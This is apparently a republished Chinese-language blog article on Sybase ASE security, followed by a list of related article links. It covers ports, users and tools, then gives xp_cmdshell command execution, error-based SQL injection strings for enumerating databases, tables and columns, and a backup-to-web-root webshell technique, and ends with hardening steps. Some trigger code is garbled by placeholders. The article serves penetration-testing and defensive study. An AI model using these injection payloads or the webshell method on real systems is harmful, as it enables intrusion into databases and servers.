Sybase資料庫安全
0x00 Sybase資料庫介紹
簡介
Sybase的全稱又叫: SAP Sybase Adaptive Server Enterprise
(簡稱ASE或Sybase ASE),繼承於MSSQL的原始程式碼,和MSSQL血緣很近。Sybase是一種關係型資料庫系統,是一種典型的UNIX或WindowsNT平臺上客戶機/伺服器環境下的大型資料庫系統。它以PowerBuilder為開發工具,以SAP Sybase SQL Anywhere
為客戶端。目前新版是ASE 15.7.x,命名從12.5.5直接到15.0.0(跳過中間的13、14),本次測試的是12.5.2,其中12.5是12大版本中最穩定的版本。
建立資料庫的時候要注意存放裝置:
服務及埠
開放埠:
備份服務:5001、監控服務:5002、資料庫主服務:5000、儲存過程服務:5004
預設資料庫
Master:系統的核心資料庫,控制伺服器的操作以及儲存有關所有使用者資料庫和相關的儲存裝置的資訊,包括使用者的使用者名稱和密碼;
Model:模板資料庫,當建立使用者資料庫時,系統根據model資料庫製作副本,並將資料庫的大小擴充套件到使用者指定的大小。
Systemprocs:儲存系統的儲存過程。
Sybsystemdb:關於分散式事務管理功能。
Tempdb:包含臨時表,放置臨時資料。
註冊使用者和資料庫使用者
當SQL SERVER建立註冊使用者後,該使用者就能合法進SQL SERVER,該註冊使用者資訊會放在master資料庫中的 syslogins表中。但只有註冊使用者成為某一資料庫使用者,並且對該使用者賦予某些許可權時,該註冊使用者才能在限制條件下使用資料庫中的表。
建立註冊使用者:
sp_addlogin loginame, passwd (刪除即為drop)
建立資料庫使用者:
[dbname..] sp_adduser loginame (此處的loginame 必須是註冊使用者,否則報錯)
分配許可權:
grant all | select,insert,delete,update
on table_name | view_name | stored_procedure_name
to username
或
grant all | create database,create
default,create procedure,create rule,create table,create view,set proxy,set session authorization
to username
資料庫使用者分類
sa使用者、資料庫屬主、資料庫物件屬主和資料庫普通使用者
1)、sa使用者:為系統使用者,擁有全部的許可權。
2)、資料庫屬主使用者:資料庫屬主(dbo)使用者可對本資料庫中所有物件(如表、檢視、儲存過程等)進行操作。
3)、資料庫物件屬主:在實際管理中, ,一般為資料庫屬主。
4)、資料庫普通使用者:類似於public,資料庫普通使用者必須在資料庫屬主對本資料庫中某些物件(如表、檢視、程式等)賦予某些許可權時,才可對本資料庫中某些物件進行允許的操作。
別名(aliases)與組(group)
1)、別名:所謂別名(aliases)即將SQL SERVER中的註冊使用者以同一個資料庫使用者的身份來訪問資料庫,並具有與該使用者相同的許可權。
2)、組(group)為資料庫使用者的集合,即透過對組(group)的許可權的控制達到對該組中資料庫使用者的控制,但也可對該組中資料庫某些使用者進行格外的許可權控制。
角色
一般在管理分工較細的資料庫系統中,sa使用者往往被分為三種角色:系統管理員角色(SA role)、系統安全員角色(SSO role)、操作員角色(OPER role)。
連線及管理工具
1)、isql
類似於mysql資料庫的的mysql.exe。可連線本地及網路資料庫。 使用isql –U sa –P “”連線:
所有引數要區分大小寫:
-?顯示 isql 開關的語法摘要。
-L列出在本地配置的伺服器和在網路上廣播的伺服器的名稱。
-U login_id使用者登入 ID。登入 ID 區分大小寫。
-P password 是使用者指定的密碼。如果未使用-P 選項,isql 將提示輸入密碼。如果在命令提示的末尾使用 -P 選項而不帶密碼,isql 使用預設密碼NULL)。密碼區分大小寫。
-S server_name 指定要連線到的 SQL Server 預設例項。如果未指定伺服器,isql 將連線 到本地計算機上的 SQL Server 預設例項。如果要在網路上從遠端計算機執行 isql,則需要此選項。
-H hostname 是使用的客戶端的主機名稱。
-d use database name,用於指定使用資料庫名
2)、官方Sybase SQL Advantage
缺點:a、隨資料庫完整安裝包一起釋出,使用時有版本上的要求。
b、只支援SQL語句,個人覺得就是isql的圖形化版,有所不便。
(Sql.ini設定及功能:http://blog.csdn.net/potato015/article/details/2450989 )
3)、官方Sybase Central
缺點:a、隨資料庫完整安裝包一起釋出,使用時有版本上的要求。
b、功能不是很強大
4)、DBArtisan
0x01 Sybase安全
執行系統命令
預設xp_cmdshell是不開啟的。未開啟xp_cmdshell時:
開啟xp_cmdshell : sp_configure 'xp_cmdshell context',0
開啟xp_cmdshell後執行命令:
許可權不夠時執行xp_cmdshell:
細節:
1、執行 sp_configure 'xp_cmdshell',0 允許所有含sa_role角色的login使用者執行xp_cmdshell命令,此功能預設關閉
2、預設 sp_configure 'xp_cmdshell',1 經測試需要在windows下具有相同longin使用者名稱稱和密碼,並且該使用者隸屬administrators許可權組,還有一點不能忽略:取消選擇“使用者下次登入時需更改密碼”!
3、MSSQL由於和windows整合,可以直接使用系統賬戶登入到資料庫。而Sybase則需要按照上面第二步做配置才能達到和MSSQL類似的效果。
註釋符與聯合查詢
支援union,可以用//、--來註釋,可以用//來替換空格,也可以用+代替空格,也支援count(),不過萬用字元不能出現在子查詢中。
12.5.2及以前的版本不支援TOP關鍵字,形如select top N from注入語句將報錯
當然,不能用top,肯定會有替代方案,那就是set rowcount N
但是set rowcount N貌似不支援子查詢和條件句:
多句執行
與mssql不同的地方是:多條語句直接以空格分隔,而不是分號。
對編碼的支援
與MSSQL相同:
SQL隱碼攻擊特性
以Php為指令碼:
以Java為指令碼:
判斷是否是Sybase資料庫:
id=1 and exists(select * from master.dbo.ijdbc_function_escapes)
以報錯方式注入時要注意,sybase是不支援不同型別資料直接相比較的(與MSSQL不同):
id=1 and 1=user
id=1 and 1=convert(integer,user)
![enter image description here][28]
id=1 and 1=convert(integer,(select+@@version))
![enter image description here][29]
id=-1 union select 1,"",(select @@version)
列庫(複雜版本):
id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>‘ ’))
列出第一個庫master
id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>’master‘))
列出除master外的第一個庫
列庫(簡單版本):
id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1)) 不斷遞增dbid的值
dbid是連續的數字,猜解起來很容易
PS:雖然Sybase不能用TOP、for xml path,但是支援having、where not in等語法,變化方式依然有多種
與MSSQL不同的一點:
MSSQL是xtype Sybase是type
列表(只能用複雜版):
id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘ ’))
列出第一個表cmd
id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘cmd’))
列出除cmd外的第一個表cmd0
列欄位:
select name from test..syscolumns where id=object_id(‘users’) and colid=1 遞增colid
即:
id=1 and 1=convert(integer,(select name from test..syscolumns where id=object_id('users') and colid=1))
工具注入:
穿山甲猜不出庫名,抓包發現使用了TOP關鍵字,看來穿山甲只支援12.5.3以後的sybase
備份寫檔案(webshell)
前提條件:
1、備份服務開啟
2、備份服務允許遠端訪問
3、有資料庫許可權(宿主許可權)+磁碟寫許可權
步驟:
1、create table cmd(a image)—
2、insert into cmd(a) values ('<?php phpinfo();?>')—
3、dump database test to ‘C:\wamp\www\1.php’ 【全備份】
(對應MSSQL為:backup database 庫名 to disk= 'C:\wamp\www\1.php ' WITH DIFFERENTIAL,FORMAT;--)
dump TRANSACTION test to ‘C:\wamp\www\1.php’ 【LOG備份】
(對應MSSQL為:backup log 庫名 to disk='d:\www\xxx\test.asp'--)
注:使用dump TRANSACTION時要求資料檔案和日誌檔案不能存放在同一裝置中。
4、drop table cmd--
加固與防範
口令
sp_password “原密碼”, “新密碼”,使用者名稱
例如將sa使用者的密碼由空改為123456: sp_password NULL,”123456”,sa
sp_configure “minimum password length”,8 ---密碼最短長度
sp_configure “check password for digit”,1 ---至少包含一個數字
sp_configure “systemwide password expiration”,90 ---口令有效時長
sp_configure “maximum failed logins”,5 ---設定口令錯誤鎖定閥值
刪除擴充套件儲存過程xp_cmdshell, 並刪 除 sybsyesp.dll
exec sp_dropextendedproc xp_cmdshell
關閉sa賬戶的使用:
sp_locklogin sa,"lock“
關閉遠端訪問:
exec sp_configure “allow remote access” ,0
關閉後,很多服務將無法使用,比如備份
登陸IP白名單
系統沒有和登陸相關的限制設定,只能透過建立登入觸發器來實現登陸IP白名單
create procedure login_trg
as
[email protected](18),@login_name varchar(20)
begin
select
@ip=t.ipaddr,@login_name=suser_name()
from master.dbo.sysprocesses t where t.spid=@@spid
[email protected]<>'192.168.0.102'
begin
raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name
select syb_quit()
end
else
print 'Welcome!'
end
建立登入觸發器後,執行如下命令:
isql>grant execute on login_trg to loginname
isql>sp_modifylogin loginname, "login script",login_trg
日誌
isql>exec sp_configure "log audit logon failure",1 --記錄登入失敗資訊
isql>exec sp_configure "log audit logon success",1 --記錄登入成功資訊
/uploads/2015/08/
相關文章
- sybase資料庫恢復2024-07-09資料庫
- sybase iq 資料庫 問題2007-04-04資料庫
- Sybase資料庫空間相關2015-02-08資料庫
- Sybase 資料庫啟停指令碼2015-06-29資料庫指令碼
- Sybase資料庫簡介 (轉載)2006-10-23資料庫
- jive的資料庫sybase72003-01-08資料庫
- SYBASE資料庫dbcc命令詳解(zt)2019-03-18資料庫
- 理解Sybase ASE資料庫中的索引2009-02-22資料庫索引
- Sybase ASE資料庫的license問題2012-04-27資料庫
- Sybase ASE資料庫恢復,Sybase資料恢復,資料誤刪除恢復工具READSYBDEVICE2023-02-20資料庫資料恢復dev
- 教小白搭建sybase資料庫環境2018-08-14資料庫
- 請教,JIVE如何聯接SYBASE資料庫?2003-06-23資料庫
- 使用oracle Transparent gateway 連線 sybase 資料庫2009-08-13OracleGateway資料庫
- Sybase或SQLServer資料庫分批歸檔方案2024-09-19SQLServer資料庫
- 用VC訪問Sybase資料庫(用Sybase提供的ct-library介面) (轉)2007-12-15資料庫
- 常見資料庫SYBASE和SQL SERVER的比較2009-03-27資料庫SQLServer
- 資料庫廠商的發展歷史之Sybase2011-02-03資料庫
- sybase 的裝置和資料庫,是啥關係?2011-09-04資料庫
- Sybase EAServer 6.x資料庫緩衝池配置2009-07-27Server資料庫
- 資料庫 安全2007-11-21資料庫
- 資料庫安全2009-12-14資料庫
- hibernate 於sybase資料庫的問題-尋求答案2006-03-14資料庫
- 關於Sybase資料庫中時間表的建立和生成!2008-02-14資料庫
- 2.9.1 資料庫安全2020-03-14資料庫
- 恢復Sybase ASE 15.0.x中的master資料庫2009-02-27AST資料庫
- 急:webshere配置資料庫sybase的連線池的問題2003-03-05Web資料庫
- 常見資料庫系統之比較 - SYBASE 和 SQL SERVER(轉)2007-08-11資料庫SQLServer
- Sybase資料庫日誌過大導致不能啟動(轉)2007-08-16資料庫
- SYBASE 資料庫遷移到AS 400 db2的FAQ(五) (轉)2007-08-16資料庫DB2
- SYBASE 資料庫遷移到AS 400 db2的FAQ(四) (轉)2007-08-16資料庫DB2
- SYBASE 資料庫遷移到AS 400 db2的FAQ(三) (轉)2007-08-16資料庫DB2
- SYBASE 資料庫遷移到AS 400 db2的FAQ(一) (轉)2007-08-16資料庫DB2
- Sybase正式釋出資料倉儲產品Sybase IQ 15.02009-03-21
- 資料庫安全之金融2020-03-20資料庫
- 資料庫安全與保密2019-04-03資料庫
- SQL Server資料庫安全2021-04-22SQLServer資料庫
- 資料庫安全小議2016-10-19資料庫
- 維護資料庫安全2010-09-10資料庫